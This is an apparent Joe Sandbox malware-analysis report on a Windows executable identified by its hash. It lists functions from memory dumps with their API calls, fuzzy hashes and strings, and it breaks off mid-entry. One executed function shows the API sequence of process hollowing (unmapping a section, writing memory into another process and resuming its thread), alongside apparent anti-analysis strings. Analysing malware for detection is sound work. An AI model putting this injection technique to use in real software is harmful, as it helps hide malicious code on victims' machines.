Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0d27a1fa3f1f1fda25af22aef18fecd666ceb468c5b86211495d244027f71e37
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 50D06775C0030CBBCB04EFA5D459CDDBBB9AA04344B808466AA1897245EA74A7598F94

Function 022CD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022E197D: __wfsopen.LIBCMT ref: 022E1988

_fgetws.LIBCMT ref: 022CD15C

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 2e42e86acef02897146224952e4b8423d2ba84bad0f9e2a54449d77db14998c3
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 21919471D203169BCF21DFE4CC447AEB7B5AF04304F64063DE816A7249E7B5AA14CB96

Function 022CD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 022CD77E
_malloc.LIBCMT ref: 022CD7B2
_malloc.LIBCMT ref: 022CD7C1
_fprintf.LIBCMT ref: 022CD815

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c61525f46af0c81a0d9989e3d678823b8eb76cde186bdba34b91f221b1dff0ea
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 85A18FB1C10248EBEF11EFE4CC45BEEBB76AF14308F540128E50676295D7B65A48CFA6

Function 022E2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022E2B2E
__read_nolock.LIBCMT ref: 022E2BFE
__filbuf.LIBCMT ref: 022E2C21
_memset.LIBCMT ref: 022E2C65

Part of subcall function 022E5BA8: __getptd_noexit.LIBCMT ref: 022E5BA8

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: a771af89aaa1e34d68b88d4ec009a05a9ccdac240cb1a63a03a26195990306dd
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 01517471A20306DBDF248EF9C88466E77A9BF40324F94872DEC37962D8D7709950EB40

Function 02301359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0230137D

Part of subcall function 02301A9D: __fltout2.LIBCMT ref: 02301AC6

__cftog_l.LIBCMT ref: 023013A3
__cftoe_l.LIBCMT ref: 023013D5

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 34e4628c40bc764d3cf17f90a893858ccb70c4a5f3e309e4e49cb399abac4fd6
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: F0014C3240014EFBCF225E84DCA1CEE3F67BB19354B488455FA9D599B0D336C5B1ABA1

Function 02387A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02387A4B

Part of subcall function 02388140: ___BuildCatchObjectHelper.LIBCMT ref: 02388172
Part of subcall function 02388140: ___AdjustPointer.LIBCMT ref: 02388189

_UnwindNestedFrames.LIBCMT ref: 02387A62
___FrameUnwindToState.LIBCMT ref: 02387A74
CallCatchBlock.LIBCMT ref: 02387A98

Memory Dump Source

Source File: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_22c0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: c0e79f85cdf31fc4a1612416a5b9f8f69f2671693b5b815c7cec3e037a018eac
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 4801DB36100209BBCF22BF55CC01EEA7BBBEF48754F158114F9186A221D776E561DF90

Analysis Process: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exePID: 6272, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	39
Total number of Limit Nodes:	7

Executed Functions

Function 02280110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02280156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0228016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02280255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02280270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02280283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0228029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022802C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022802E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02280304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0228032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02280399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022803BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022803E1
ResumeThread.KERNELBASE(00000000), ref: 022803ED
ExitProcess.KERNEL32(00000000), ref: 02280412

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: eceb0348b9e7ae7bb459848f0410b119c72afaf59d3777ec3700d94d48aaa31e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 10B1C574A00209AFDB44CF98C895F9EBBB5BF88314F248158E908AB395D771AE45CF94

Function 02280420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02280533

Strings

0, xrefs: 02280492
d, xrefs: 02280584
mfoaskdfnoa, xrefs: 02280520, 02280523
saodkfnosa9uin, xrefs: 022804DA

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f805dc5cd9b8c8de52416976089daf9c5ad571ce53583596c8908c015fb4bf89
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D2511870D08388DAEB11DBE8C849BDDBFB2AF11708F144058D5447F2CAC3BA9658CB66

Function 022805B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022805EC

Strings

o, xrefs: 02280600
apfHQ, xrefs: 022805E2, 022805E5

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 2025f1f08d3e70fbe3c8a1ce789f1f176e1347855f09d90703f9378db9f42b81
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AF011E70C0525DEADB10EBD8C5183AEBFB5AF41308F148099C4092B282D7B69B58CBA1

Function 021E07A6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 021E07CE
Module32First.KERNEL32(00000000,00000224), ref: 021E07EE

Memory Dump Source

Source File: 0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_21e0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 7b0287016c9994aa4cd16859ab7d4e4e12ace24e70acc08bf8b2c0be160ef74e
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: AFF06231541B116FDB203BB5AC8DB6F76E8AF4D665F100528E683A10C0DBB0E8454A61

Function 021E0465 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 021E04B6

Memory Dump Source

Source File: 0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 021E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_21e0000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 07fa055feeb3af2a866ea06312c32fa2d1743bbf8eae208fe7adef3c82a4ffbe
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FA113C79A40208EFDB01DF98CA85E98BBF5AF08351F058094F948AB361D371EA90DF80

Non-executed Functions

Function 022A6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 022A644E

Part of subcall function 022A9636: __calloc_impl.LIBCMT ref: 022A9645

__calloc_crt.LIBCMT ref: 022A6472
_free.LIBCMT ref: 022A6480
__calloc_crt.LIBCMT ref: 022A648E
_free.LIBCMT ref: 022A649E
_free.LIBCMT ref: 022A64A4
__copytlocinfo_nolock.LIBCMT ref: 022A64B3
__setmbcp_nolock.LIBCMT ref: 022A64D4
_free.LIBCMT ref: 022A64E2
___removelocaleref.LIBCMT ref: 022A64E9
___freetlocinfo.LIBCMT ref: 022A64F0
_free.LIBCMT ref: 022A64F6

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: cd20316c2129b0b940ade52fb125eff83c8d0e15598ad8805882f7a4bd429f7d
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 5221D135124701AFEF313FE5C821E2B7BEADF41B60F548429E44855CACEB628560DE50

Function 022A3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 022A3F51

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

__gmtime64_s.LIBCMT ref: 022A3FEA
__gmtime64_s.LIBCMT ref: 022A4020
__gmtime64_s.LIBCMT ref: 022A403D
__allrem.LIBCMT ref: 022A4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40AF
__allrem.LIBCMT ref: 022A40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40E4
__allrem.LIBCMT ref: 022A40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A4119
__invoke_watson.LIBCMT ref: 022A418A

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 8804e05aff1ce037f673371cf79ffb062e0ab78be8e345422709b0543124bf07
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8E710D71A20717ABD715EEF9CC51B9AB3B9BF00364F144179E514E7A84EBB0E900CB90

Function 022A650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 022A6547
__calloc_crt.LIBCMT ref: 022A6598
__lock.LIBCMT ref: 022A65AE
__copytlocinfo_nolock.LIBCMT ref: 022A65BF
_wcscmp.LIBCMT ref: 022A65F9
__lock.LIBCMT ref: 022A6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022A6622
___removelocaleref.LIBCMT ref: 022A6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022A6647

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 3ab3fb2696edaec58bd60e6de6dcf17a3a6864c1ba3acf1965ded6d85b388a5a
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 9F412532920305EFDF00AFE8D960BAE3BFAAF04714F148429E91496998DBB98544DF51

Function 022A84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022A84B1
_free.LIBCMT ref: 022A84E2
_free.LIBCMT ref: 022A84F5
_free.LIBCMT ref: 022A8513
_free.LIBCMT ref: 022A8525
_free.LIBCMT ref: 022A8536
_free.LIBCMT ref: 022A8541
_free.LIBCMT ref: 022A8565
_free.LIBCMT ref: 022A8581
_free.LIBCMT ref: 022A8597
_free.LIBCMT ref: 022A85BF

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: a50f6ef07ef279deda81d85adced3eb9cb4b4afaa78aecbaab13410a200e5e12
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5831E331910351DFCB21AF94FC9088977E6FB14334B05862AEE08576B8CBB059C8AF92

Function 022CFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFC1F

Part of subcall function 022B169C: std::exception::_Copy_str.LIBCMT ref: 022B16B5

__CxxThrowException@8.LIBCMT ref: 022CFC34
std::exception::exception.LIBCMT ref: 022CFC4D
__CxxThrowException@8.LIBCMT ref: 022CFC62
std::regex_error::regex_error.LIBCPMT ref: 022CFC74

Part of subcall function 022CF914: std::exception::exception.LIBCMT ref: 022CF92E

__CxxThrowException@8.LIBCMT ref: 022CFC82
std::exception::exception.LIBCMT ref: 022CFC9B
__CxxThrowException@8.LIBCMT ref: 022CFCB0

Strings

leM, xrefs: 022CFCA8

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 46f70d599434b208c456d89837c02711d4d00b0cb24358d1ed8e541d58a199f5
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1311DA79C0030DBBCF05FFE5D865CDDBB7DAE04384B408566A91897644EB74A3588F94

Function 0228F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0228F01F

Part of subcall function 022A1602: __FF_MSGBANNER.LIBCMT ref: 022A1619
Part of subcall function 022A1602: __NMSG_WRITE.LIBCMT ref: 022A1620

_malloc.LIBCMT ref: 0228F02B
_wprintf.LIBCMT ref: 0228F03E
_free.LIBCMT ref: 0228F044
_free.LIBCMT ref: 0228F065
_malloc.LIBCMT ref: 0228F06D
_sprintf.LIBCMT ref: 0228F0C0
_wprintf.LIBCMT ref: 0228F0D2
_wprintf.LIBCMT ref: 0228F0DC
_free.LIBCMT ref: 0228F0E5

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 4a269a266fe9ddef6bd35803b32236535e24b5849109853fb4cf90125dd8379c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 3F1127B25216506FC26172F40C21FFF3BDD9F45711F440169FE4CD1588DA189A149BB1

Function 02291960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022919C6
__CxxThrowException@8.LIBCMT ref: 022919F1
__CxxThrowException@8.LIBCMT ref: 02291A1A
__CxxThrowException@8.LIBCMT ref: 02291A4B
_memset.LIBCMT ref: 02291A6A
__CxxThrowException@8.LIBCMT ref: 02291A90
_malloc.LIBCMT ref: 02291AA0
_memset.LIBCMT ref: 02291AAB
_sprintf.LIBCMT ref: 02291ACE

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e28dd000a76906977de2140a32167547b281fd64df273a20851a33d4ba57962f
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: F2513871D4020AABEF11DBE5DC86FEEBBB9FF04744F100025F909B6184EB746A158BA5

Function 0228F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F284
__CxxThrowException@8.LIBCMT ref: 0228F2AF
__CxxThrowException@8.LIBCMT ref: 0228F2DE
__CxxThrowException@8.LIBCMT ref: 0228F30F
_memset.LIBCMT ref: 0228F32E
__CxxThrowException@8.LIBCMT ref: 0228F354
_sprintf.LIBCMT ref: 0228F373

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: debfd39696a1d7fc11110e5f8c18f0611720ee3bbf853496d49abcb222b573dc
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 65519CB1A50249ABEF11EFE1CD46FEEBBB8BB04704F100025F905B6184D7B4AA058BA4

Function 0228F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F4B7
__CxxThrowException@8.LIBCMT ref: 0228F4E2
__CxxThrowException@8.LIBCMT ref: 0228F504
__CxxThrowException@8.LIBCMT ref: 0228F535
_memset.LIBCMT ref: 0228F554
__CxxThrowException@8.LIBCMT ref: 0228F57A
_sprintf.LIBCMT ref: 0228F594

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: b1df6ebe92a065a8b01caf03083d130f0919178d61b2a58b02a08811bbc9398a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 9C516D71D50209ABDF21EFE1DD46FEEBBB9BF04704F100129E905B6184E774AA058BA4

Function 022C208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022C20C6
__invoke_watson.LIBCMT ref: 022C2120
_strlen.LIBCMT ref: 022C20D4

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

_strnlen.LIBCMT ref: 022C215F
__lock.LIBCMT ref: 022C2170
__getenv_helper_nolock.LIBCMT ref: 022C217B

Memory Dump Source

Source File: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2280000_F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 96d231bceb745d0774c747a14881f1f3b3bea6f6f515caa54ab0254a0bb06649
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 3831D672930322EBDB217AE49C00B6E2755AF15B25F20471AED04EB69CDFB48540CAA1

Function 023466D9 Relevance: 9.1, APIs: 6, Instructions: 100COMMON

Download Yara Rule

APIs

__getptd_noexit.LIBCMT ref: 023466DD

Part of subcall function 022A59BF: __calloc_crt.LIBCMT ref: 022A59E2
Part of subcall function 022A59BF: __initptd.LIBCMT ref: 022A5A04

__calloc_crt.LIBCMT ref: 02346700
__get_sys_err_msg.LIBCMT ref: 0234671E
__invoke_watson.LIBCMT ref: 0234673B
__get_sys_err_msg.LIBCMT ref: 0234676D
__invoke_watson.LIBCMT ref: 0234678B

Memory Dump Source

